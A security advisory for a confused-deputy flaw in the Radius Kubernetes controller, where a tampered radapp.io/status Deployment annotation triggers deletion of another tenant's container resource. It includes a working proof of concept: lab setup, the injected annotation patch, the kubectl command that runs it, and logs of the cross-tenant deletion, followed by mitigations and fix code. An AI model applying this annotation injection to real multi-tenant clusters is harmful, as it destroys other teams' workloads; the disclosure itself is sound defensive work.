Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Summary

A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.

• Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
• CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
• CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
• Affected Versions: Radius v0.57.1 and earlier versions

Vulnerability Details

Root Cause

The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.

Vulnerable Code Locations

Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:

s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
    err := json.Unmarshal([]byte(status), &s)  // Deserializes user-controllable data without validation
    if err != nil {
        return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
    }
    result.Status = &s
}

Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:

poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion

Attack Chain

┌─────────────────────────────────────────────────────────────────────────────┐
│                           Confused Deputy Attack                            │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Tenant-A (Attacker)                    Tenant-B (Victim)                   │
│  ┌──────────────────┐                   ┌──────────────────┐                │
│  │ legitimate-app   │                   │ victim-container │                │
│  │ (Deployment)     │                   │ (Radius Resource)│                │
│  └────────┬─────────┘                   └────────▲─────────┘                │
│           │                                      │                          │
│           │ 1. Inject malicious                  │ 4. DELETE request        │
│           │    radapp.io/status                  │    (no auth check!)      │
│           │    annotation                        │                          │
│           ▼                                      │                          │
│  ┌──────────────────┐                    ┌───────┴──────────┐               │
│  │ Radius Controller│ ─────────────────▶│   Radius API      │               │
│  │ (High Privilege) │  3. Uses injected  │   (UCP)          │               │
│  └──────────────────┘     container ID   └──────────────────┘               │
│           ▲                                                                 │
│           │ 2. Reads annotation                                             │
│           │    without validation                                           │
│           │                                                                 │
└───────────┴─────────────────────────────────────────────────────────────────┘

Proof of Concept (PoC)

Prerequisites

• Kubernetes cluster with Radius v0.54.0 installed
• Attacker has permission to modify Deployment annotations in a namespace
• Target tenant has Radius-managed container resources

Environment Setup

Step 1: Install Kind Cluster and Radius

# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3

# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans

# Verify installation
kubectl get pods -n radius-system

Expected output:

NAME                            READY   STATUS    RESTARTS   AGE
applications-rp-xxx             1/1     Running   0          2m
bicep-de-xxx                    1/1     Running   0          2m
controller-xxx                  1/1     Running   0          2m
ucp-xxx                         1/1     Running   0          2m

Step 2: Create Attacker Tenant (tenant-a)

# Create resource group
rad group create tenant-a

# Create environment
rad env create tenant-a-env --group tenant-a

# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env

Step 3: Deploy Legitimate Application in tenant-a

Create legitimate-app.bicep:

extension radius

@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
  name: 'legitimate-app'
  properties: {
    environment: environment()
  }
}

@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
  name: 'legitimate-container'
  properties: {
    application: app.id
    container: {
      image: 'nginx:latest'
    }
  }
}

Deploy the application:

rad deploy legitimate-app.bicep

Step 4: Create Victim Tenant (tenant-b)

# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b

# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3

# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
    }
  }'

# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
      "container": {
        "image": "nginx:latest"
      }
    }
  }'

kill $PF_PID 2>/dev/null || true

Step 5: Verify Victim Resource Exists

kubectl get deployment -n tenant-b-victim-app victim-container

Expected output:

NAME               READY   UP-TO-DATE   AVAILABLE   AGE
victim-container   1/1     1            1           50s

Exploitation

Step 6: Inject Malicious Annotation

Create attack-patch.yaml:

metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'

Execute the attack:

kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

deployment.apps/legitimate-app patched

Step 7: Verify Attack Success

Wait a few seconds and check the victim's resources:

kubectl get all -n tenant-b-victim-app

Expected output:

No resources found in tenant-b-victim-app namespace.

Log Evidence

The controller logs show the cross-tenant deletion operation:

Attack Triggered (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Starting DELETE operation.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Cross-Tenant Delete Request (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Deleting container.",
  "scope": "/planes/radius/local/resourceGroups/tenant-b",
  "resourceType": "Applications.Core/containers"
}

Deletion Successful (15:29:41.367Z):

{
  "timestamp": "2026-02-01T15:29:41.367Z",
  "message": "Resource is deleted.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Impact

Security Impact

• Confidentiality: No direct impact (no data disclosure)
• Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
• Availability: High - Can cause service disruption for target tenants

Attack Prerequisites

1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)

CVSS 3.1 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Workarounds

Until an official fix is released, consider the following mitigations:

1. Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
2. Monitor Anomalous Operations: Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
3. Network Isolation: Implement strict network policies in multi-tenant environments

Remediation Recommendations

Short-term Fix

Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:

func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
    expectedScope := extractScopeFromDeployment(deployment)
    actualScope := extractScopeFromContainerID(containerID)
    if expectedScope != actualScope {
        return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
    }
    return nil
}

Long-term Fix

1. Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
2. Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
3. Audit Logging: Log all cross-tenant operation attempts

References

• Radius Project GitHub
• CWE-20: Improper Input Validation
• CWE-441: Unintended Proxy or Intermediary (Confused Deputy)
• OWASP: Confused Deputy Problem

References

• GHSA-fp5j-4fj2-4jvq
• https://github.com/radius-project/radius/releases/tag/v0.58.0